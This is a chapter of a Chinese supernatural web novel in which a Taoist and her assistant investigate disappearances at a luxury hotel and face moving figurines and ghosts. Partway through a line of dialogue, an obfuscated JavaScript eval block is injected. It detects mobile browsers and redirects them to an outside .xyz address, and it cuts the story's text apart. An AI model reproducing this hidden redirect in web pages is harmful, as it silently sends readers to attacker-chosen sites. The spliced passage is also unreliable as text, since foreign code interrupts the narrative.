方不圆指指庄辰岚:“这是我助手,庄辰岚。” “原来如此,”他跟庄辰岚握了握手:“初次见面,庄小姐,我姓元。” 元秘书推了推眼镜:“酒店发生那样的事我们也很难过,这边还请二位工作时不要太声张,我们也好…” 方不圆了然道:“理解理解,我们会保密的。” 元秘书叹了口气:“酒店这种地方,最容易被编排造谣,就算我们是正常祈福,也害怕流言蜚语啊。” 方不圆道:“说的没错啊,一群人天天闲的没事瞎编故事,你们酒店磁场干净的很,简直是风水宝地,我觉得啊,那些失踪的人保不准都是自导自演骗钱的,你们也别太当回事,就当破财消灾了。” “您这么说我就安心多了,”元秘书笑眯眯道,“那明天就辛苦道长了。” “哪里哪里,不辛苦。” 庄辰岚在心里翻了个白眼。 元秘书面带歉意道:“方道长,我这边有点事要忙,让这边的引导小姐送您上去吧,您有什么需要吗?” “奥奥奥你去忙吧,我没什么需要。” 元秘书朝远处招了招手:“小李。” 一位年轻的女孩跑了过来,元秘书道:“这二位小姐住在42层的套房,你带着去一下。” 李小姐朝两人微微鞠躬,露出标准的八颗牙齿:“好的,二位小姐请跟我来。” 路上,李小姐像导游一样给二人介绍长生殿的建筑历史以及收藏的艺术品。 庄辰岚忍不住道:“这酒店的失踪案你们员工内部怎么说。” 7.长生殿2 李小姐突然被打断施法,一脸茫然道:“失踪案?没听说过啊。” 庄辰岚坏笑道:“没事,你说就行,我们是内部人员。” 方不圆拧了下庄辰岚的胳膊:“上来就捣乱是吧。” 李小姐面带歉意的微笑道:“我实在不清楚,无法帮助二位,很抱歉。” 方不圆道:“没事没事,她玩游戏玩多了,你不用理她。” 庄辰岚心道,这酒店的保密工作也太强了,自己的员工都能蒙在鼓里。 三人乘坐vip电梯来到房间所在的42层。 电梯一开,方不圆就被吓了一跳:“你们酒店怎么摆这么多假人啊!吓我一跳!” 只见长长的走廊两边每隔一段距离就面对面站着两个雕塑,每个雕塑大约一米二左右,有男有女,有老有少。 李小姐道:“方小姐,这可不是普通的假人,这是请国内的黏土陶艺大师仿照出土的隋唐时期的陶俑与名画上的人物进行一比一复原的,每一个都耗费数月之久,价值上万。” 她走到最近的一个陶俑前,介绍道:“你看,这个就是仿照陕西历史博物馆的那尊彩绘陶侍女俑塑造的。” 这尊女陶俑红衣绿裙,黑发如云,粉面含笑,目光盯着前方。 不知怎么,庄辰岚总感觉它十分奇怪,好像在盯着众人观察一样。 方不圆打了个寒颤:“放一个意思意思就行了,放这么多都成兵马俑了,我睡这儿还以为自己是秦始皇呢。” 李小姐忍不住笑了:“方小姐说话真好玩儿。” 她疑惑的看向走廊尽头:“不过我记得这层的陶俑好像是没有这么多来着。” 方圆大大咧咧道:“难道还是他们自己跑上来的不成?” 话音刚落,几人面前突然漆黑一片。 方不圆又吓了一跳:“怎么回事?停电了?” “不好意思客人,我去了解一下。”李小姐拿起手机,“奇怪,怎么没信号了。” 方不圆道:“我的也没了,小岚,你的呢?” “我也是。” 就在这时,走廊上的陶俑突然毫无征兆全都转了个方向面向她们。 “啊——” 方不圆和李小姐同时尖叫起来。 庄辰岚把她们护在身后:“别怕,都冷静。” 然而她的安慰并没有起作用,方不圆和李小姐使劲拽着庄辰岚的衣服,把她当成防护墙。 庄辰岚的卫衣帽子不知道被谁使劲往后拽,她艰难道:“抓别的地方,别抓我帽子,要勒死了。” 就在三人如奇行种一般在黑暗中乱作一团时,走廊里的陶俑在原地震动起来,慢慢的向三人这边挪动。 陶俑双目发出诡异的红光,逐渐流下两行血色的液体,笑起来的嘴角都快要弯到耳边。 霎时间,整个走廊只回荡着陶俑咕咚咕咚移动的声音以及方不圆和李小姐惨绝人寰的尖叫声。 庄辰岚迅速从背后的书包里抽出斧头,横在面前: “再进一步,格杀勿论。” 听闻,这些陶俑迅速平静下来,庄辰岚能清晰的感觉出,它们的气场与刚才截然不同。 可她还没松口气,又看到不远处的雕花柱子后有几个白色人影,眼睛处仍旧闪着红色的光。 庄辰岚向身后问道:“你们看到了吗?前面的人影。” 方不圆睁开眼睛,朝庄辰岚说的方向看去,随后大喊道:“你别吓人啊!前面有什么?什么都没有!” “你仔细看看。” “我看个屁啊!这时候就别使坏吓人了!” 庄辰岚确认了,看来只有自己能看到,与此同时,她发现原来自己被地府开除后天眼也不会失效。 天眼,民间俗称阴阳眼,成为生无常后,庄辰岚便自动开了天眼,能够看到普通人看不到的东西,还能识别一些非人生物的伪装和障眼法。 庄辰岚最初看到自己的概率论学老师是老鼠精时还吓了一大跳,但后来看得多了就习惯了,即使半夜走路看到吐着鲜红长舌头的男人或断了脖子还一脸狞笑的女人也能目不斜视地擦肩而过。 根据经验,庄辰岚判断这些白色人影就是人类的亡魂——难道是酒店失踪的客人? 庄辰岚伸出食指指向那些白影:“有冤说冤,有仇说仇,无冤无仇,速速退散。” “卧槽,”方不圆大喊:“你在跟谁说话啊!别吓我!” 李小姐吓得魂儿都飞了,她紧闭眼睛止不住地尖叫:“来人啊!我要出去!” 庄辰岚向身后道:“先别喊,没用的,方姐,你先让她收声。” 方不圆把自己和李小姐的嘴巴都捂上,庄辰岚则朝那几个白影走去。 方不圆抓她衣服,一脸绝望道:“别走,你去哪啊,我不能没有你啊。” 庄辰岚道:“现在这边是安全的,我不走远,就去前面看看。” 庄辰岚攥紧斧头,踩着走廊里的高级地毯,一步一步慢慢地向前走着。 靠近后,她发现这些白影的周围竟有些许灵力流转,这种灵力,庄辰岚只在上次到南天门等地时感受过。 她想起唐金麟的猜测,不禁哑然失笑:这不会真是神仙派下来的吧。 斧头就在手里,庄辰岚有了底气,管他是什么东西,一旦产生威胁,那就直接全都干掉。 随着她一步步靠近,白色的人影也逐渐清晰起来,化为实体。 谁知下一刻,它们就突然不停抽搐,四肢也以人类无法做到的方式扭曲起来,扭曲到极限后,它们就像积木一样七零八落掉了一地,只剩头颅上黑越越的嘴巴夸张的一张一合,发出无法辨别音节的呜呜声。 无法交流。 庄辰岚感到奇怪,不应该啊,它们明显是可交流的灵体,怎么会这样? 就在她思考的时候,满地的肉块突然间像被风吹散一样消失,走廊的灯光重新亮起,所有的气息也瞬间泯灭,仿佛刚才的一切都只是一场梦。 方不圆满头是汗,她卸力般瘫坐在地上,平复了一下呼吸,信号刚刚恢复正常,她的手机就传来好几个消息提示音。 她从兜里掏出手机,边看边道:“有一个好消息和一个坏消息,你想先听哪一个?” 庄辰岚道:“随便。” “坏消息是我师父也来酒店了,我请外援的事要暴露了。” “就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981163|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?好消息呢?” “好消息是我师父也来酒店了,我们百分之一百亿安全了。” 方不圆抹了把冷汗:“我师父特地买的对面的房间,现在已经到了,等会儿我给你介绍下。” 李小姐也是整张脸都被汗水浸湿了,她捏住庄辰岚衣服的一角:“那个,我不敢一个人走了...” 庄辰岚对方不圆道:“你先去房间,我送她下楼。” 在电梯里,庄辰岚问道:“这是怎么回事?” “我不知道啊!”李小姐惊魂未定,“我要辞职!我要辞职!要不然下一个死的就是我了!” 庄辰岚捕捉到关键字:“这里死过人?” “都失踪这么久了,肯定是死了啊!” “你知道失踪案的事,刚才问你怎么不说?” 李小姐抽泣道:“我签了保密协议的。” 庄辰岚道:“我就是来解决这件事的,反正你都要辞职了,走之前先告诉我究竟发生了什么?” “不行,就算是辞职,被发现还是要赔钱的。” “我刚才可是救了你一命。”庄辰岚道,“而且这里只有我们两个人,我绝对会保密的。” 李小姐想了想,道:“其实我知道的也不多,都是我男朋友告诉我的,他是这个酒店监控室的。” “警察让他调出那位客人失踪前的所有监控,然后他们就发现,那位客人进了房间后,就再也没有出来过。” 庄辰岚道:“从窗户爬出去了?” “警察也怀疑是这样,但他们查完后发现窗户外没有任何攀爬的痕迹。” “而且,”李小姐道,“那可是42楼啊!怎么可能从窗户爬出去!” “42楼?”庄辰岚有种不好的预感,“不会是我们那个房间吧。” “不不不,不是你们那个,那个房间已经被封锁了。” 庄辰岚松了口气,看来这个酒店还是有点良心的。 李小姐道:“最最最诡异的一点是,在客人进入房间的那个时间,房间内部的监控却根本没拍到他进了房间!” “你们在房间内安监控?!” 刚刚才感叹了一下酒店还是有良心的。 李小姐连忙道:“只是在房间门口有一个,正对着大门,用来确定客人进出门携带的东西的。” “那也不行啊,”庄辰岚道,“你们酒店普通房间都8000一晚,就这样还没有隐私安全?” “可,我们不是在讨论客人失踪案吗.....” 庄辰岚迅速调转话题:“也就是说外边的监控显示他进入了房间,而房间正对大门的监控显示他根本没有进来过吗?” “不仅是这样,”李小姐道,“房间内部的监控显示大门开了,可是根本没有人进来。” 想像一下那个场面,两人背后都一阵发凉。 李小姐道:“我就知道这些,别问我了!你记得一定要保密啊!” 电梯一到,李小姐便头也不回地跑了出去。 庄辰岚便也返回42楼,进入房间,待看清沙发上翘着二郎腿的人时,她大脑宕机了: “庄海月?!——你怎么在这儿?!”